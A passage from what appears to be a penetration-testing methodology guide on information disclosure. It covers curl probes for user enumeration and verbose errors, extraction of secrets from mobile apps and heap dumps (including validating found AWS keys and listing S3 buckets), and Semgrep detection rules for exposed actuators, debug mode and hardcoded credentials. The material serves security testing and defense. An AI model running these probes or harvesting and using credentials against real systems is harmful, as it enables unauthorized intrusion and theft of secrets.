curl -s -X POST https://target/api/signup -d '{"email":"existing@target.com","password":"x"}'
# "Email already in use"

# MinIO LDAP variant (GHSA-jv87-32hw-hh99)
# Different error code for "user not in LDAP" vs "user exists, wrong password"
# Then brute-force the existing user's password without rate limiting

# SAML response: different error for "no user found" vs "wrong assertion"
curl -X POST https://target/saml/acs -d 'SAMLResponse=<base64>'

# OAuth: client_id enumeration via authorize endpoint
curl -s "https://target/oauth/authorize?client_id=valid&redirect_uri=..."
curl -s "https://target/oauth/authorize?client_id=invalid&redirect_uri=..."

# Time-based enumeration (when responses are identical)
for email in "alice@target.com" "nonexistent@target.com"; do
  time curl -s -o /dev/null -X POST https://target/api/login \
    -d "{\"email\":\"$email\",\"password\":\"x\"}"
done
# Existing user takes longer (bcrypt hash comparison vs immediate fail)
```

### Sub-technique H — Stack trace / verbose error elicitation

```bash
# Send malformed JSON
curl -s -X POST https://target/api/users \
  -H 'Content-Type: application/json' \
  -d 'not json'

# Send wrong content-type
curl -s -X POST https://target/api/users \
  -H 'Content-Type: application/xml' \
  -d '<x/>'

# Send oversized body
python3 -c 'print("a"*10**6)' | curl -s -X POST https://target/api/users \
  -H 'Content-Type: application/json' --data-binary @-

# Send invalid characters in URL params
curl -s "https://target/api/items?id=%00"
curl -s "https://target/api/items?id='"
curl -s "https://target/api/items?id=[]"

# Send invalid IDs — type confusion
curl -s "https://target/api/users/null"
curl -s "https://target/api/users/undefined"
curl -s "https://target/api/users/{}"

# Trigger internal-error path — query for known-broken state
curl -s "https://target/api/orders?status=FOOBAR_INVALID_ENUM"

# Look for: file paths (/var/www/, C:\inetpub\), framework versions (Spring/Django/Rails),
# DB hostnames (db.internal.target.com), DB type (PostgreSQL 14.x), full stack traces.
```

### Sub-technique I — Mobile app reverse engineering for embedded secrets

```bash
# Android APK
apktool d target.apk -o /tmp/apk-decoded
strings /tmp/apk-decoded/classes.dex | grep -iE '(api[_-]?key|secret|token|password|bearer)'
grep -rE 'AKIA[0-9A-Z]{16}|AIza[0-9A-Za-z_-]{35}' /tmp/apk-decoded/

# JADX for decompilation (better strings extraction)
jadx -d /tmp/apk-jadx target.apk
grep -rE '(api[_-]?key|secret|token)' /tmp/apk-jadx/sources/

# Inspect res/raw/, assets/, META-INF/ for plaintext config
ls /tmp/apk-decoded/res/raw/
ls /tmp/apk-decoded/assets/

# iOS IPA
ipsw extract --ipa target.ipa
strings /path/to/binary | grep -iE '(api[_-]?key|secret|token|password)'

# MobSF for automated mobile app analysis (https://github.com/MobSF/Mobile-Security-Framework-MobSF)
docker run -it --rm -p 8000:8000 opensecurity/mobile-security-framework-mobsf

# Reference: H1 2026 Session Cookie Leakage in WebViewerFragment (mobile WebView)
```

### Sub-technique J — Memory dump analysis (Volkswagen heapdump pattern)

```bash
# Once you have a heap dump (Spring Boot /actuator/heapdump or Java jstack/jmap)
# Eclipse Memory Analyzer (MAT) — the standard tool

# Or strings extraction
strings heapdump.bin > heapdump.txt

# Pattern match for common secret formats
grep -E 'AKIA[0-9A-Z]{16}' heapdump.txt    # AWS access key
grep -E 'AIza[0-9A-Za-z_-]{35}' heapdump.txt  # Google API
grep -E 'sk_live_[0-9a-zA-Z]{24,}' heapdump.txt  # Stripe live
grep -E 'ghp_[0-9a-zA-Z]{36}' heapdump.txt    # GitHub PAT
grep -E 'jdbc:[a-z]+://' heapdump.txt          # DB URI
grep -E 'eyJhbGciO[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+' heapdump.txt  # JWT
grep -E '-----BEGIN [A-Z ]+ KEY-----' heapdump.txt  # PEM keys

# Volkswagen Spring Boot Actuator pattern (Wiz Threat Research, SYSCREST analysis):
# 1. Find /actuator/heapdump exposed
# 2. Download heapdump (often 100MB-2GB)
# 3. Extract AWS keys from strings
# 4. Validate keys: aws sts get-caller-identity
# 5. List S3 buckets: aws s3 ls
# 6. STOP — that's the report. Don't pivot to actually downloading customer data.

# Reference: https://www.syscrest.com/2025/02/securing-spring-boot-actuator/
```

## Source Code Review Patterns

### Semgrep rules

```yaml
rules:
  - id: info-spring-actuator-exposure
    pattern-either:
      - pattern-regex: 'management\.endpoints\.web\.exposure\.include\s*=\s*\*'
      - pattern-regex: 'management\.endpoints\.web\.exposure\.include\s*=\s*[^=]*(?:env|heapdump|gateway|threaddump|beans)'
    message: |
      Spring Boot Actuator endpoint exposure includes high-risk endpoint
      (env, heapdump, gateway, threaddump, beans). CVE-2025-41243 Spring
      Cloud Gateway property modification (CVSS 10.0), CVE-2025-41253
      info disclosure (CVSS 7.5). Restrict via management.endpoints.web.
      exposure.include=health,info only; secure others via Spring Security.
    severity: ERROR
    languages: [yaml, java]
    paths:
      include: ['application*.{yml,yaml,properties}']
```

```yaml
rules:
  - id: info-debug-mode-enabled-prod
    pattern-either:
      - pattern-regex: 'DEBUG\s*=\s*True'
      - pattern-regex: 'app\.config\[.DEBUG.\]\s*=\s*True'
      - pattern-regex: 'debug:\s*true'
      - pattern-regex: '"debug":\s*true'
    message: |
      Debug mode enabled. Stack traces, framework version, file paths
      will be exposed in error responses. Set DEBUG=False in production.
      Use environment-specific config (settings.production.py for Django,
      RAILS_ENV=production for Rails, NODE_ENV=production for Express).
    severity: WARNING
    languages: [python, javascript, yaml]
```

```yaml
rules:
  - id: info-hardcoded-credentials
    pattern-either:
      - pattern-regex: '(?i)(password|passwd|pwd|secret|api[_-]?key|access[_-]?key|access[_-]?token)\s*[:=]\s*["'][^"']{8,}["']'
      - pattern-regex: 'AKIA[0-9A-Z]{16}'
      - pattern-regex: 'AIza[0-9A-Za-z_-]{35}'
      - pattern-regex: 'sk_live_[0-9a-zA-Z]{24,}'
      - pattern-regex: 'ghp_[0-9a-zA-Z]{36}'
    message: |
      Hardcoded credential detected. CWE-798 Use of Hard-coded Credentials.
      Move to environment variables, secret managers (AWS Secrets Manager,
      HashiCorp Vault, GCP Secret Manager). Reference: GitGuardian 2026
      State of Secrets Sprawl — 28.65M secrets in public repos in 2025.
      Starbucks H1 #716292 paid bounty for single hardcoded JumpCloud key
      (CVSS 9.7).
    severity: ERROR
    languages: [python, javascript, typescript, java, go, ruby, php]
```

```yaml
rules:
  - id: info-pprof-handler-exposed
    pattern-either:
      - pattern: 'import _ "net/http/pprof"'
      - pattern: 'http.ListenAndServe(":6060", nil)'
      - pattern-regex: 'pprof\.(?:Index|Cmdline|Profile|Symbol|Trace|Handler)'
    message: |
      Go net/http/pprof exposed. /debug/pprof/cmdline leaks process
      command line including secrets passed via --flag="value".
      Dgraph GHSA-95mq-xwj4-r47p (2026 critical) is canonical example.
      Restrict to internal-only mux or remove import in production builds.
    severity: ERROR
    languages: [go]
```

```yaml
rules:
  - id: info-error-handler-leaks-stack
    pattern-either:
      - pattern: |
          app.use(function(err, req, res, next) {
            res.send(err.stack);
          })
   

…(truncated)